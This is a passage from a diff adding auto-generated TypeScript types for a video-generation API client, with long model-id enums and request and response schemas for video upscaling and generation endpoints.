'microsoft/phi-4': 'microsoft/phi-4', + 'minimax/minimax-m1': 'minimax/minimax-m1', + 'minimax/minimax-m2.5': 'minimax/minimax-m2.5', + 'minimax/minimax-m2.7': 'minimax/minimax-m2.7', + 'minimax/minimax-m3': 'minimax/minimax-m3', + 'minimax/minimax-m3.1-flash': 'minimax/minimax-m3.1-flash', + 'minimax/minimax-m3:batch': 'minimax/minimax-m3:batch', + 'mistralai/codestral-2508': 'mistralai/codestral-2508', + 'mistralai/devstral-2512': 'mistralai/devstral-2512', + 'mistralai/ministral-14b-2512': 'mistralai/ministral-14b-2512', + 'mistralai/ministral-3b-2512': 'mistralai/ministral-3b-2512', + 'mistralai/ministral-8b-2512': 'mistralai/ministral-8b-2512', + 'mistralai/mistral-large': 'mistralai/mistral-large', + 'mistralai/mistral-large-2407': 'mistralai/mistral-large-2407', + 'mistralai/mistral-large-2512': 'mistralai/mistral-large-2512', + 'mistralai/mistral-large-4-0': 'mistralai/mistral-large-4-0', + 'mistralai/mistral-medium-3': 'mistralai/mistral-medium-3', + 'mistralai/mistral-medium-3.1': 'mistralai/mistral-medium-3.1', + 'mistralai/mistral-medium-3-5': 'mistralai/mistral-medium-3-5', + 'mistralai/mistral-medium-3-5:batch': 'mistralai/mistral-medium-3-5:batch', + 'mistralai/mistral-nemo': 'mistralai/mistral-nemo', + 'mistralai/mistral-saba': 'mistralai/mistral-saba', + 'mistralai/mistral-small-24b-instruct-2501': + 'mistralai/mistral-small-24b-instruct-2501', + 'mistralai/mistral-small-2603': 'mistralai/mistral-small-2603', + 'mistralai/mistral-small-3.1-24b-instruct': + 'mistralai/mistral-small-3.1-24b-instruct', + 'mistralai/mistral-small-3.2-24b-instruct': + 'mistralai/mistral-small-3.2-24b-instruct', + 'mistralai/mixtral-8x22b-instruct': 'mistralai/mixtral-8x22b-instruct', + 'mistralai/voxtral-small-24b-2507': 'mistralai/voxtral-small-24b-2507', + 'moondream/moondream3.1-9b-a2b': 'moondream/moondream3.1-9b-a2b', + 'moondream/moondream3-preview': 'moondream/moondream3-preview', + 'moonshotai/kimi-k2': 'moonshotai/kimi-k2', + 'moonshotai/kimi-k2-0905': 'moonshotai/kimi-k2-0905', + 'moonshotai/kimi-k2.5': 'moonshotai/kimi-k2.5', + 'moonshotai/kimi-k2.6': 'moonshotai/kimi-k2.6', + 'moonshotai/kimi-k2.7-code': 'moonshotai/kimi-k2.7-code', + 'moonshotai/kimi-k2-thinking': 'moonshotai/kimi-k2-thinking', + 'moonshotai/kimi-k3': 'moonshotai/kimi-k3', + 'moonshotai/kimi-k3.1-pro': 'moonshotai/kimi-k3.1-pro', + 'moonshotai/kimi-k3:batch': 'moonshotai/kimi-k3:batch', + '~moonshotai/kimi-latest': '~moonshotai/kimi-latest', + 'morph/morph-v3-fast': 'morph/morph-v3-fast', + 'morph/morph-v3-fast:batch': 'morph/morph-v3-fast:batch', + 'morph/morph-v3-large': 'morph/morph-v3-large', + 'morph/morph-v3-large:batch': 'morph/morph-v3-large:batch', + 'nex-agi/nex-n2.5-mini': 'nex-agi/nex-n2.5-mini', + 'nex-agi/nex-n2.5-pro': 'nex-agi/nex-n2.5-pro', + 'nousresearch/hermes-4-405b': 'nousresearch/hermes-4-405b', + 'nvidia/nemotron-3.5-content-safety': 'nvidia/nemotron-3.5-content-safety', + 'nvidia/nemotron-3.5-lightning': 'nvidia/nemotron-3.5-lightning', + 'nvidia/nemotron-3.5-lightning:free': 'nvidia/nemotron-3.5-lightning:free', + 'nvidia/nemotron-3.5-super-vl': 'nvidia/nemotron-3.5-super-vl', + 'nvidia/nemotron-3.5-super-vl:free': 'nvidia/nemotron-3.5-super-vl:free', + 'nvidia/nemotron-3-nano-30b-a3b': 'nvidia/nemotron-3-nano-30b-a3b', + 'nvidia/nemotron-3-nano-omni-30b-a3b-reasoning:free': + 'nvidia/nemotron-3-nano-omni-30b-a3b-reasoning:free', + 'nvidia/nemotron-3-super-120b-a12b': 'nvidia/nemotron-3-super-120b-a12b', + 'nvidia/nemotron-3-ultra-550b-a55b': 'nvidia/nemotron-3-ultra-550b-a55b', + 'nvidia/nemotron-3-ultra-550b-a55b:free': + 'nvidia/nemotron-3-ultra-550b-a55b:free', + 'nvidia/switchyard': 'nvidia/switchyard', + 'openai/gpt-3.5-turbo-0613': 'openai/gpt-3.5-turbo-0613', + 'openai/gpt-3.5-turbo-16k': 'openai/gpt-3.5-turbo-16k', + 'openai/gpt-4': 'openai/gpt-4', + 'openai/gpt-4.1': 'openai/gpt-4.1', + 'openai/gpt-4.1:batch': 'openai/gpt-4.1:batch', + 'openai/gpt-4.1-mini': 'openai/gpt-4.1-mini', + 'openai/gpt-4.1-mini:batch': 'openai/gpt-4.1-mini:batch', + 'openai/gpt-4.1-nano': 'openai/gpt-4.1-nano', + 'openai/gpt-4.1-nano:batch': 'openai/gpt-4.1-nano:batch', + 'openai/gpt-4-turbo:batch': 'openai/gpt-4-turbo:batch', + 'openai/gpt-4o': 'openai/gpt-4o', + 'openai/gpt-4o-2024-05-13': 'openai/gpt-4o-2024-05-13', + 'openai/gpt-4o-2024-08-06': 'openai/gpt-4o-2024-08-06', + 'openai/gpt-4o-2024-11-20': 'openai/gpt-4o-2024-11-20', + 'openai/gpt-4o:batch': 'openai/gpt-4o:batch', + 'openai/gpt-4o-mini': 'openai/gpt-4o-mini', + 'openai/gpt-4o-mini-2024-07-18': 'openai/gpt-4o-mini-2024-07-18', + 'openai/gpt-4o-mini:batch': 'openai/gpt-4o-mini:batch', + 'openai/gpt-5': 'openai/gpt-5', + 'openai/gpt-5.1': 'openai/gpt-5.1', + 'openai/gpt-5.1:batch': 'openai/gpt-5.1:batch', + 'openai/gpt-5.1-codex': 'openai/gpt-5.1-codex', + 'openai/gpt-5.1-codex-max': 'openai/gpt-5.1-codex-max', + 'openai/gpt-5.1-codex-mini': 'openai/gpt-5.1-codex-mini', + 'openai/gpt-5.2': 'openai/gpt-5.2', + 'openai/gpt-5.2:batch': 'openai/gpt-5.2:batch', + 'openai/gpt-5.2-chat': 'openai/gpt-5.2-chat', + 'openai/gpt-5.2-codex': 'openai/gpt-5.2-codex', + 'openai/gpt-5.2-pro': 'openai/gpt-5.2-pro', + 'openai/gpt-5.2-pro:batch': 'openai/gpt-5.2-pro:batch', + 'openai/gpt-5.3-codex': 'openai/gpt-5.3-codex', + 'openai/gpt-5.4': 'openai/gpt-5.4', + 'openai/gpt-5.4:batch': 'openai/gpt-5.4:batch', + 'openai/gpt-5.4-image-2': 'openai/gpt-5.4-image-2', + 'openai/gpt-5.4-mini': 'openai/gpt-5.4-mini', + 'openai/gpt-5.4-mini:batch': 'openai/gpt-5.4-mini:batch', + 'openai/gpt-5.4-nano': 'openai/gpt-5.4-nano', + 'openai/gpt-5.4-nano:batch': 'openai/gpt-5.4-nano:batch', + 'openai/gpt-5.4-pro': 'openai/gpt-5.4-pro', + 'openai/gpt-5.4-pro:batch': 'openai/gpt-5.4-pro:batch', + 'openai/gpt-5.5': 'openai/gpt-5.5', + 'openai/gpt-5.5:batch': 'openai/gpt-5.5:batch', + 'openai/gpt-5.5-pro': 'openai/gpt-5.5-pro', + 'openai/gpt-5.5-pro:batch': 'openai/gpt-5.5-pro:batch', + 'openai/gpt-5.6-luna': 'openai/gpt-5.6-luna', + 'openai/gpt-5.6-luna:batch': 'openai/gpt-5.6-luna:batch', + 'openai/gpt-5.6-luna-pro': 'openai/gpt-5.6-luna-pro', + 'openai/gpt-5.6-luna-pro:batch': 'openai/gpt-5.6-luna-pro:batch', + 'openai/gpt-5.6-sol': 'openai/gpt-5.6-sol', + 'openai/gpt-5.6-sol:batch': 'openai/gpt-5.6-sol:batch', + 'openai/gpt-5.6-sol-pro': 'openai/gpt-5.6-sol-pro', + 'openai/gpt-5.6-sol-pro:batch': 'openai/gpt-5.6-sol-pro:batch', + 'openai/gpt-5.6-terra': 'openai/gpt-5.6-terra', + 'openai/gpt-5.6-terra:batch': 'openai/gpt-5.6-terra:batch', + 'openai/gpt-5.6-terra-pro': 'openai/gpt-5.6-terra-pro', + 'openai/gpt-5.6-terra-pro:batch': 'openai/gpt-5.6-terra-pro:batch', + 'openai/gpt-5:batch': 'openai/gpt-5:batch', + 'openai/gpt-5-image': 'openai/gpt-5-image', + 'openai/gpt-5-image-mini': 'openai/gpt-5-image-mini', + 'openai/gpt-5-mini': 'openai/gpt-5-mini', + 'openai/gpt-5-mini:batch': 'openai/gpt-5-mini:batch', + 'openai/gpt-5-nano': 'openai/gpt-5-nano', + 'openai/gpt-5-nano:batch': 'openai/gpt-5-nano:batch', + 'openai/gpt-5-pro': 'openai/gpt-5-pro', + 'openai/gpt-5-pro:batch': 'openai/gpt-5-pro:batch', + 'openai/gpt-6.1-sol': 'openai/gpt-6.1-sol', + 'openai/gpt-6.1-sol:batch': 'openai/gpt-6.1-sol:batch', + 'openai/gpt-6.1-sol-pro': 'openai/gpt-6.1-sol-pro', + 'openai/gpt-6.1-sol-pro:batch': 'openai/gpt-6.1-sol-pro:batch', + 'openai/gpt-6.1-terra': 'openai/gpt-6.1-terra', + 'openai/gpt-6.1-terra:batch': 'openai/gpt-6.1-terra:batch', + 'openai/gpt-6.1-terra-pro': 'openai/gpt-6.1-terra-pro', + 'openai/gpt-6.1-terra-pro:batch': 'openai/gpt-6.1-terra-pro:batch', + 'openai/gpt-6-astra': 'openai/gpt-6-astra', + 'openai/gpt-6-astra:batch': 'openai/gpt-6-astra:batch', + 'openai/gpt-6-astra-pro': 'openai/gpt-6-astra-pro', + 'openai/gpt-6-astra-pro:batch': 'openai/gpt-6-astra-pro:batch', + 'openai/gpt-6-luna': 'openai/gpt-6-luna', + 'openai/gpt-6-luna:batch': 'openai/gpt-6-luna:batch', + 'openai/gpt-6-luna-pro': 'openai/gpt-6-luna-pro', + 'openai/gpt-6-luna-pro:batch': 'openai/gpt-6-luna-pro:batch', + 'openai/gpt-6-sol': 'openai/gpt-6-sol', + 'openai/gpt-6-sol:batch': 'openai/gpt-6-sol:batch', + 'openai/gpt-6-sol-pro': 'openai/gpt-6-sol-pro', + 'openai/gpt-6-sol-pro:batch': 'openai/gpt-6-sol-pro:batch', + '~openai/gpt-astra-latest': '~openai/gpt-astra-latest', + 'openai/gpt-audio': 'openai/gpt-audio', + 'openai/gpt-audio-mini': 'openai/gpt-audio-mini', + 'openai/gpt-chat-latest': 'openai/gpt-chat-latest', + '~openai/gpt-luna-latest': '~openai/gpt-luna-latest', + '~openai/gpt-mini-latest': '~openai/gpt-mini-latest', + 'openai/gpt-oss-120b': 'openai/gpt-oss-120b', + 'openai/gpt-oss-120b:batch': 'openai/gpt-oss-120b:batch', + 'openai/gpt-oss-20b': 'openai/gpt-oss-20b', + 'openai/gpt-oss-20b:batch': 'openai/gpt-oss-20b:batch', + 'openai/gpt-oss-safeguard-20b': 'openai/gpt-oss-safeguard-20b', + '~openai/gpt-sol-latest': '~openai/gpt-sol-latest', + '~openai/gpt-terra-latest': '~openai/gpt-terra-latest', + 'openai/o3': 'openai/o3', + 'openai/o3:batch': 'openai/o3:batch', + 'openai/o3-mini:batch': 'openai/o3-mini:batch', + 'openai/o3-pro': 'openai/o3-pro', + 'openai/o4-mini:batch': 'openai/o4-mini:batch', + 'openrouter/auto': 'openrouter/auto', + 'openrouter/auto-beta': 'openrouter/auto-beta', + 'openrouter/auto-code': 'openrouter/auto-code', + 'openrouter/bodybuilder': 'openrouter/bodybuilder', + 'openrouter/free': 'openrouter/free', + 'openrouter/fusion': 'openrouter/fusion', + 'openrouter/pareto-code': 'openrouter/pareto-code', + 'particle-ai/particle-1': 'particle-ai/particle-1', + 'perceptron/perceptron-mk1': 'perceptron/perceptron-mk1', + 'perceptron/perceptron-mk1.5': 'perceptron/perceptron-mk1.5', + 'perplexity/sonar': 'perplexity/sonar', + 'perplexity/sonar-deep-research': 'perplexity/sonar-deep-research', + 'perplexity/sonar-pro': 'perplexity/sonar-pro', + 'perplexity/sonar-pro-search': 'perplexity/sonar-pro-search', + 'perplexity/sonar-reasoning-pro': 'perplexity/sonar-reasoning-pro', + 'prism-ml/ternary-bonsai-2-27b': 'prism-ml/ternary-bonsai-2-27b', + 'prism-ml/ternary-bonsai-2-9b': 'prism-ml/ternary-bonsai-2-9b', + 'qwen/qwen-2.5-72b-instruct': 'qwen/qwen-2.5-72b-instruct', + 'qwen/qwen-2.5-7b-instruct': 'qwen/qwen-2.5-7b-instruct', + 'qwen/qwen-2.5-coder-32b-instruct': 'qwen/qwen-2.5-coder-32b-instruct', + 'qwen/qwen-plus': 'qwen/qwen-plus', + 'qwen/qwen2.5-vl-72b-instruct': 'qwen/qwen2.5-vl-72b-instruct', + 'qwen/qwen3-14b': 'qwen/qwen3-14b', + 'qwen/qwen3-235b-a22b-2507': 'qwen/qwen3-235b-a22b-2507', + 'qwen/qwen3-235b-a22b-thinking-2507': 'qwen/qwen3-235b-a22b-thinking-2507', + 'qwen/qwen3-30b-a3b': 'qwen/qwen3-30b-a3b', + 'qwen/qwen3-30b-a3b-instruct-2507': 'qwen/qwen3-30b-a3b-instruct-2507', + 'qwen/qwen3-32b': 'qwen/qwen3-32b', + 'qwen/qwen3.5-122b-a10b': 'qwen/qwen3.5-122b-a10b', + 'qwen/qwen3.5-27b': 'qwen/qwen3.5-27b', + 'qwen/qwen3.5-35b-a3b': 'qwen/qwen3.5-35b-a3b', + 'qwen/qwen3.5-397b-a17b': 'qwen/qwen3.5-397b-a17b', + 'qwen/qwen3.5-9b': 'qwen/qwen3.5-9b', + 'qwen/qwen3.5-flash-02-23': 'qwen/qwen3.5-flash-02-23', + 'qwen/qwen3.5-plus-02-15': 'qwen/qwen3.5-plus-02-15', + 'qwen/qwen3.5-plus-20260420': 'qwen/qwen3.5-plus-20260420', + 'qwen/qwen3.6-27b': 'qwen/qwen3.6-27b', + 'qwen/qwen3.6-35b-a3b': 'qwen/qwen3.6-35b-a3b', + 'qwen/qwen3.6-flash': 'qwen/qwen3.6-flash', + 'qwen/qwen3.6-plus': 'qwen/qwen3.6-plus', + 'qwen/qwen3.7-flash': 'qwen/qwen3.7-flash', + 'qwen/qwen3.7-max': 'qwen/qwen3.7-max', + 'qwen/qwen3.7-plus': 'qwen/qwen3.7-plus', + 'qwen/qwen3.7-plus:batch': 'qwen/qwen3.7-plus:batch', + 'qwen/qwen3.8-2.4t-a95b': 'qwen/qwen3.8-2.4t-a95b', + 'qwen/qwen3.8-27b': 'qwen/qwen3.8-27b', + 'qwen/qwen3.8-27b:batch': 'qwen/qwen3.8-27b:batch', + 'qwen/qwen3.8-flash': 'qwen/qwen3.8-flash', + 'qwen/qwen3.8-max-0902': 'qwen/qwen3.8-max-0902', + 'qwen/qwen3.8-max-prime': 'qwen/qwen3.8-max-prime', + 'qwen/qwen3.8-omni-flash': 'qwen/qwen3.8-omni-flash', + 'qwen/qwen3-coder': 'qwen/qwen3-coder', + 'qwen/qwen3-coder-30b-a3b-instruct': 'qwen/qwen3-coder-30b-a3b-instruct', + 'qwen/qwen3-coder-flash': 'qwen/qwen3-coder-flash', + 'qwen/qwen3-coder-next': 'qwen/qwen3-coder-next', + 'qwen/qwen3-next-80b-a3b-instruct': 'qwen/qwen3-next-80b-a3b-instruct', + 'qwen/qwen3-vl-235b-a22b-instruct': 'qwen/qwen3-vl-235b-a22b-instruct', + 'qwen/qwen3-vl-30b-a3b-instruct': 'qwen/qwen3-vl-30b-a3b-instruct', + 'qwen/qwen3-vl-30b-a3b-thinking': 'qwen/qwen3-vl-30b-a3b-thinking', + 'qwen/qwen3-vl-8b-instruct': 'qwen/qwen3-vl-8b-instruct', + 'recursive/flint-v1.0:free': 'recursive/flint-v1.0:free', + 'reflection/beam-1.0-501b-a23b': 'reflection/beam-1.0-501b-a23b', + 'rekaai/reka-edge': 'rekaai/reka-edge', + 'rekaai/reka-flash-3': 'rekaai/reka-flash-3', + 'relace/relace-apply-3': 'relace/relace-apply-3', + 'relace/relace-search': 'relace/relace-search', + 'ricursiveai/ripple-65b-preview': 'ricursiveai/ripple-65b-preview', + 'sakana/fugu-max': 'sakana/fugu-max', + 'sakana/fugu-ultra': 'sakana/fugu-ultra', + 'sakana/fugu-ultra-v2': 'sakana/fugu-ultra-v2', + 'sakana/sakana-namazu': 'sakana/sakana-namazu', + 'sao10k/l3.1-euryale-70b': 'sao10k/l3.1-euryale-70b', + 'sao10k/l3-lunaris-8b': 'sao10k/l3-lunaris-8b', + 'scaledown/extract': 'scaledown/extract', + 'scaledown/summarize': 'scaledown/summarize', + 'stealth/crouton-alpha': 'stealth/crouton-alpha', + 'stepfun/step-3.5-flash': 'stepfun/step-3.5-flash', + 'stepfun/step-3.7-flash': 'stepfun/step-3.7-flash', + 'stepfun/step-5-preview': 'stepfun/step-5-preview', + 'tencent/hunyuan-a13b-instruct': 'tencent/hunyuan-a13b-instruct', + 'tencent/hy-mt2-1.8b': 'tencent/hy-mt2-1.8b', + 'tencent/hy-mt2-30b-a3b': 'tencent/hy-mt2-30b-a3b', + 'tencent/hy-mt2-7b': 'tencent/hy-mt2-7b', + 'tencent/hy3': 'tencent/hy3', + 'tencent/hy3-preview': 'tencent/hy3-preview', + 'tencent/hy4': 'tencent/hy4', + 'tencent/hy4-preview': 'tencent/hy4-preview', + 'thedrummer/cydonia-24b-v4.1': 'thedrummer/cydonia-24b-v4.1', + 'thedrummer/skyfall-36b-v2': 'thedrummer/skyfall-36b-v2', + 'thedrummer/unslopnemo-12b': 'thedrummer/unslopnemo-12b', + 'thinkingmachines/inkling': 'thinkingmachines/inkling', + 'thinkingmachines/inkling-small': 'thinkingmachines/inkling-small', + 'thinkingmachines/inkling-small:batch': + 'thinkingmachines/inkling-small:batch', + 'typesafe/jev-router': 'typesafe/jev-router', + 'unbiased/pareto-26.10': 'unbiased/pareto-26.10', + 'unbiased/pareto-26.9': 'unbiased/pareto-26.9', + '~unbiased/pareto-latest': '~unbiased/pareto-latest', + 'undi95/remm-slerp-l2-13b': 'undi95/remm-slerp-l2-13b', + 'upstage/solar-mini4': 'upstage/solar-mini4', + 'upstage/solar-pro4': 'upstage/solar-pro4', + 'writer/palmyra-x5': 'writer/palmyra-x5', + 'x-ai/grok-4.20': 'x-ai/grok-4.20', + 'x-ai/grok-4.20-multi-agent': 'x-ai/grok-4.20-multi-agent', + 'x-ai/grok-4.3': 'x-ai/grok-4.3', + 'x-ai/grok-4.3:batch': 'x-ai/grok-4.3:batch', + 'x-ai/grok-4.5': 'x-ai/grok-4.5', + 'x-ai/grok-4.6': 'x-ai/grok-4.6', + 'x-ai/grok-4.6:batch': 'x-ai/grok-4.6:batch', + 'x-ai/grok-4.7': 'x-ai/grok-4.7', + 'x-ai/grok-4.7:batch': 'x-ai/grok-4.7:batch', + 'x-ai/grok-build-0.1': 'x-ai/grok-build-0.1', + '~x-ai/grok-latest': '~x-ai/grok-latest', + 'xiaomi/mimo-v2.5': 'xiaomi/mimo-v2.5', + 'xiaomi/mimo-v2.5-pro': 'xiaomi/mimo-v2.5-pro', + 'xiaomi/mimo-v2.6-flash': 'xiaomi/mimo-v2.6-flash', + 'xiaomi/mimo-v2.6-pro': 'xiaomi/mimo-v2.6-pro', + 'xiaomi/mimo-v2.6-pro-ultraspeed': 'xiaomi/mimo-v2.6-pro-ultraspeed', + 'xingchen-agi/xing4.0-29b-a4b:free': 'xingchen-agi/xing4.0-29b-a4b:free', + 'z-ai/glm-4.5': 'z-ai/glm-4.5', + 'z-ai/glm-4.5-air': 'z-ai/glm-4.5-air', + 'z-ai/glm-4.5v': 'z-ai/glm-4.5v', + 'z-ai/glm-4.6': 'z-ai/glm-4.6', + 'z-ai/glm-4.6v': 'z-ai/glm-4.6v', + 'z-ai/glm-4.7': 'z-ai/glm-4.7', + 'z-ai/glm-4.7-flash': 'z-ai/glm-4.7-flash', + 'z-ai/glm-5': 'z-ai/glm-5', + 'z-ai/glm-5.1': 'z-ai/glm-5.1', + 'z-ai/glm-5.2': 'z-ai/glm-5.2', + 'z-ai/glm-5.2:batch': 'z-ai/glm-5.2:batch', + 'z-ai/glm-5.3': 'z-ai/glm-5.3', + 'z-ai/glm-5.3:batch': 'z-ai/glm-5.3:batch', + 'z-ai/glm-5.3-flash': 'z-ai/glm-5.3-flash', + 'z-ai/glm-5.3-flash:batch': 'z-ai/glm-5.3-flash:batch', + 'z-ai/glm-5.3-flashx': 'z-ai/glm-5.3-flashx', + 'z-ai/glm-5.3-flashx-legal': 'z-ai/glm-5.3-flashx-legal', + 'z-ai/glm-5.3-prime': 'z-ai/glm-5.3-prime', + 'z-ai/glm-5-turbo': 'z-ai/glm-5-turbo', + 'z-ai/glm-5v-turbo': 'z-ai/glm-5v-turbo', + '~z-ai/glm-flash-latest': '~z-ai/glm-flash-latest', + '~z-ai/glm-latest': '~z-ai/glm-latest', + } as const + +export type OpenrouterPostVideosBlackForestLabsFluxVideoUpscaleRequestModelEnumKey = + (typeof openrouterPostVideosBlackForestLabsFluxVideoUpscaleRequestModelEnum)[keyof typeof openrouterPostVideosBlackForestLabsFluxVideoUpscaleRequestModelEnum] + +export const openrouterPostVideosBlackForestLabsFluxVideoUpscaleRequestResolutionEnum = + { + '360p': '360p', + '480p': '480p', + '720p': '720p', + '768p': '768p', + '1080p': '1080p', + '1K': '1K', + '2K': '2K', + '4K': '4K', + } as const + +export type OpenrouterPostVideosBlackForestLabsFluxVideoUpscaleRequestResolutionEnumKey = + (typeof openrouterPostVideosBlackForestLabsFluxVideoUpscaleRequestResolutionEnum)[keyof typeof openrouterPostVideosBlackForestLabsFluxVideoUpscaleRequestResolutionEnum] + +/** + * @description Black Forest Labs: FLUX Video Upscale (black-forest-labs/flux-video-upscale) — model-constrained video generation request. FLUX Video Upscale is a video upscaling model from Black Forest Labs. It enlarges a single source video by 1.5× to 3× while preserving its duration, with an optional prompt... + * @example {"aspect_ratio":"16:9","duration":8,"model":"google/veo-3.1","prompt":"A serene mountain landscape at sunset","resolution":"720p"} + * @type object + */ +export type OpenrouterPostVideosBlackForestLabsFluxVideoUpscaleBody = { + /** + * @description Aspect ratio of the generated video + * @example 16:9 + * @type string | undefined + */ + aspect_ratio?: OpenrouterPostVideosBlackForestLabsFluxVideoUpscaleRequestAspectRatioEnumKey + /** + * @description URL to receive a webhook notification when the video generation job completes. Overrides the workspace-level default callback URL if set. Must be HTTPS. + * + * Format: `uri` + * @example https://example.com/webhook + * @type string | undefined + */ + callback_url?: string + /** + * @description Creativity level for video upscaling models only. This parameter is not supported by video generation models. + * @example 1 + * @type integer | undefined + */ + creativity?: number + /** + * @description Duration of the generated video in seconds + * @minimum 1 + * @example 8 + * @type integer | undefined + */ + duration?: number + /** + * @description Reference assets to guide video generation. Accepts image, audio, and video references. Audio and video references are only honored by providers that support them (including BytePlus Seedance generation 2 and newer); other providers use image references and ignore the rest. + * @type array | undefined + */ + input_references?: InputReference[] + /** + * @description Model id (fixed for this model-constrained schema) + * @type string + */ + model: OpenrouterPostVideosBlackForestLabsFluxVideoUpscaleRequestModelEnumKey + /** + * @description ID of a completed video job to edit or extend, as returned by the submit response. The new job runs on the same model and endpoint that produced the previous one. Only models that support continuation accept this field. + * @pattern ^gen-vid-\d+-[0-9A-Za-z]{20}$ + * @example gen-vid-1789493115-a1B2c3D4e5F6g7H8i9J0 + * @type string | undefined + */ + previous_job_id?: string + /** + * @description Text prompt describing the video to generate. Optional for models that support generating a video from image input alone; required by all other models. + * @example A serene mountain landscape at sunset + * @type string | undefined + */ + prompt?: string + /** + * @description Provider routing preferences (order, only, ignore) and provider-specific passthrough configuration Passthrough parameters allowed for this model: safety_tolerance. + * @type object | undefined + */ + provider?: { + /** + * @description List of provider slugs to ignore. If provided, this list is merged with your account-wide ignored provider settings for this request. + * @example ["openai","anthropic"] + * @type array | undefined + */ + ignore?: (ProviderNameKey | string)[] | null + /** + * @description List of provider slugs to allow. If provided, this list is merged with your account-wide allowed provider settings for this request. + * @example ["openai","anthropic"] + * @type array | undefined + */ + only?: (ProviderNameKey | string)[] | null + /** + * @description Provider-specific options keyed by provider slug. The provider segment is case-insensitive; an endpoint tag after `/` must match the endpoint slug exactly. Only options for the matched provider are forwarded; the rest are ignored. Unrecognized keys are silently dropped. + * @example {"google-vertex":{"output_config":{"effort":"low"}}} + * @type object | undefined + */ + options?: ProviderOptions + /** + * @description An ordered list of provider slugs. The router will attempt to use the first provider in the subset of this list that supports your requested model, and fall back to the next if it is unavailable. If no providers are available, the request will fail with an error message. + * @example ["openai","anthropic"] + * @type array | undefined + */ + order?: (ProviderNameKey | string)[] | null + } + /** + * @description Resolution of the generated video + * @example 720p + * @type string | undefined + */ + resolution?: OpenrouterPostVideosBlackForestLabsFluxVideoUpscaleRequestResolutionEnumKey + /** + * @description A unique identifier for grouping related requests (e.g., a conversation or agent workflow). Used for observability grouping in Broadcast and private logging; never sent to the provider. If provided in both the request body and the x-session-id header, the body value takes precedence. Maximum of 256 characters. + * @maxLength 256 + * @example session-1234 + * @type string | undefined + */ + session_id?: string + /** + * @description Exact pixel dimensions of the generated video in "WIDTHxHEIGHT" format (e.g. "1280x720"). Interchangeable with resolution + aspect_ratio. + * @example 1280x720 + * @type string | undefined + */ + size?: string + /** + * @description Metadata for observability and tracing. Known keys (trace_id, trace_name, span_name, generation_name, parent_span_id) have special handling. Additional keys are passed through as custom metadata to configured broadcast destinations. + * @example {"trace_id":"trace-abc123","trace_name":"my-app-trace"} + * @type object | undefined + */ + trace?: TraceConfig + /** + * @description Upscale factor for video upscaling models only. This parameter is not supported by video generation models. + * + * Format: `double` + * @minimum 0 + * @example 2 + * @type number | undefined + */ + upscale_factor?: number + /** + * @description A unique identifier representing your end-user. Forwarded to Broadcast and private logging as the end-user id; never sent to the provider. + * @maxLength 256 + * @example user-1234 + * @type string | undefined + */ + user?: string +} + +export type OpenrouterPostVideosBlackForestLabsFluxVideoUpscaleOptions = { + body: OpenrouterPostVideosBlackForestLabsFluxVideoUpscaleBody + path?: never + query?: never + headers?: never +} + +export type OpenrouterPostVideosBlackForestLabsFluxVideoUpscaleResponses = { + '200': OpenrouterPostVideosBlackForestLabsFluxVideoUpscaleStatus200 +} + +/** + * @description Union of all possible responses + */ +export type OpenrouterPostVideosBlackForestLabsFluxVideoUpscaleResponse = + OpenrouterPostVideosBlackForestLabsFluxVideoUpscaleStatus200 + +export const openrouterPostVideosBytedanceSeedance15ProStatus200StatusEnum = { + pending: 'pending', + in_progress: 'in_progress', + completed: 'completed', + failed: 'failed', + cancelled: 'cancelled', + expired: 'expired', +} as const + +export type OpenrouterPostVideosBytedanceSeedance15ProStatus200StatusEnumKey = + (typeof openrouterPostVideosBytedanceSeedance15ProStatus200StatusEnum)[keyof typeof openrouterPostVideosBytedanceSeedance15ProStatus200StatusEnum] + +/** + * @example {"generation_id":"gen-vid-1789480874-Ab3dEf9hIjKlMnOpQrSt","id":"gen-vid-1789480874-Ab3dEf9hIjKlMnOpQrSt","polling_url":"/api/v1/videos/gen-vid-1789480874-Ab3dEf9hIjKlMnOpQrSt","status":"pending"} + * @type object + */ +export type OpenrouterPostVideosBytedanceSeedance15ProStatus200 = { + error?: string + /** + * @description Unix timestamp in seconds when OpenRouter's stored copy of the outputs stops being available. Present only when that copy exists. + * @type integer | undefined + */ + expires_at?: number + /** + * @description The generation ID associated with this video generation job. Available once the job has been processed. + * @type string | undefined + */ + generation_id?: string + /** + * @description The video job ID, in the `gen-vid--<20 alphanumerics>` generation ID format. Pass it as `previous_job_id` to continue the generation. + * @type string + */ + id: string + polling_url: string + status: OpenrouterPostVideosBytedanceSeedance15ProStatus200StatusEnumKey + /** + * @description OpenRouter content URLs for each output. They need your API key in the `Authorization` header and keep working for as long as the output is available. + * @type array | undefined + */ + unsigned_urls?: string[] + /** + * @description Signed download URLs for OpenRouter's stored copy of each output, usable without an API key until `expires_at`. Anyone holding a URL can download that output until it expires, so treat it like a secret. Present only when the stored copy exists. + * @type array | undefined + */ + urls?: string[] + /** + * @description Usage and cost information for the video generation. Available once the job has completed. + * @example {"cost":0.5,"is_byok":false} + * @type object | undefined + */ + usage?: VideoGenerationUsage +} + +export const openrouterPostVideosBytedanceSeedance15ProRequestAspectRatioEnum = + { + '1:1': '1:1', + '3:4': '3:4', + '9:16': '9:16', + '9:21': '9:21', + '4:3': '4:3', + '16:9': '16:9', + '21:9': '21:9', + } as const + +export type OpenrouterPostVideosBytedanceSeedance15ProRequestAspectRatioEnumKey = + (typeof openrouterPostVideosBytedanceSeedance15ProRequestAspectRatioEnum)[keyof typeof openrouterPostVideosBytedanceSeedance15ProRequestAspectRatioEnum] + +export const openrouterPostVideosBytedanceSeedance15ProRequestDurationEnum = { + '4': 4, + '5': 5, + '6': 6, + '7': 7, + '8': 8, + '9': 9, + '10': 10, + '11': 11, + '12': 12, +} as const + +export type OpenrouterPostVideosBytedanceSeedance15ProRequestDurationEnumKey = + (typeof openrouterPostVideosBytedanceSeedance15ProRequestDurationEnum)[keyof typeof openrouterPostVideosBytedanceSeedance15ProRequestDurationEnum] + +export const openrouterPostVideosBytedanceSeedance15ProRequestModelEnum = { + 'aion-labs/aion-2.0': 'aion-labs/aion-2.0', + 'aion-labs/aion-3.0': 'aion-labs/aion-3.0', + 'aion-labs/aion-3.0-mini': 'aion-labs/aion-3.0-mini', + 'aion-labs/aion-3.5': 'aion-labs/aion-3.5', + 'aion-labs/aion-3.5-mini': 'aion-labs/aion-3.5-mini', + 'aion-labs/aion-rp-llama-3.1-8b': 'aion-labs/aion-rp-llama-3.1-8b', + 'amazon/nova-2-lite-v1': 'amazon/nova-2-lite-v1', + 'amazon/nova-lite-v1': 'amazon/nova-lite-v1', + 'amazon/nova-micro-v1': 'amazon/nova-micro-v1', + 